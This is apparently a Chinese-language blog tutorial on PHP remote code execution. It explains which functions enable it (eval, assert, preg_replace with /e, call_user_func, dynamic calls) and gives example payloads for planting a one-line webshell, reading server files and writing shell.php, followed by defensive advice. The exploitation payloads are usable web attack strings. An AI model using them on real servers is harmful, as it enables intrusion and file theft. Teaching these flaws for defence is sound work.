RCE原理及利用

发布时间 2023-10-19 22:56:47作者: ashashash

RCE(remote command/code execuate)

  指应用程序过滤不严,用户可以将代码注入到应用中,最后由服务器来运行代码。如果这样的漏洞存在,相当于得到了shell

  成因:1.程序中含有可以执行代码的函数或者语言结构;2.传入第一点的参数,客户端可控,直接修改或影响

  

  

相关函数及语句

  eval()

    eval会将字符串当作php代码执行

  assert()

    assert()同样会作为php代码执行

  preg_replace()

    preg_replace()函数的作用是对字符串进行正则处理

    参数和返回值如下:
      mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])

      作用:搜索$subject中匹配$pattern的部分,以$replacement进行替换。*当第一个参数$pattern存在e修饰符的时候,$subject的值会被当做php代码执行

  call_user_func()

    回调函数。call_user_func等函数都有调用其他函数的功能,call_user_func(callable $callback,mixed ...$args),第一个参数$callback为调用的函数名,其他参数为调用函数的参数。如果这个传入参数可控,就存在任意代码执行漏洞

  动态函数$a($b)

    由于php的特性原因,php的函数支持直接由拼接的方式调用,一旦过滤不严格就会造成代码执行漏洞。

    $a为函数名,$b为参数

    

漏洞利用

  直接获取shell

    假设是get方法获取输入。提交参数[ ?code=@eval($_REQUEST['1'];) ]。即可构成一句话木马,直接用蚁剑连接即可

  获取当前文件的绝对路径

    __FILE__ 是php预定义常量,其含义为当前路径。[ ?code=print(__FILE__); ],可以获取当前的绝对路径

  读文件

    可以利用file_get_contents()函数来读文件,前提是知道路径并且有读权限

    提交代码[ ?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts')); ]可以读取服务器中的host文件

  写文件

    可以通过file_put_contents()函数来写入文件,前提是知道可写目录

    提交代码[ ?code=var_dump(file_put_contents($_POST[1],$_POST[2])); ]

    然后通过hackbar传递POST参数 [1=shell.php&2=<?php phpinfo(); ?>] ,代码执行后会在当前目录创建一个文件名为shell.php,内容为<?php phpinfo(); ?>的文件

防御方法

  1.尽量不要使用eval(),assert()等函数

  2.如果使用要进行严格的过滤

  3.preg_replace放弃使用/e 修饰符

  4.与开发人员联系,将用不到的函数,在php.ini配置文件中禁用

    disable_function=assert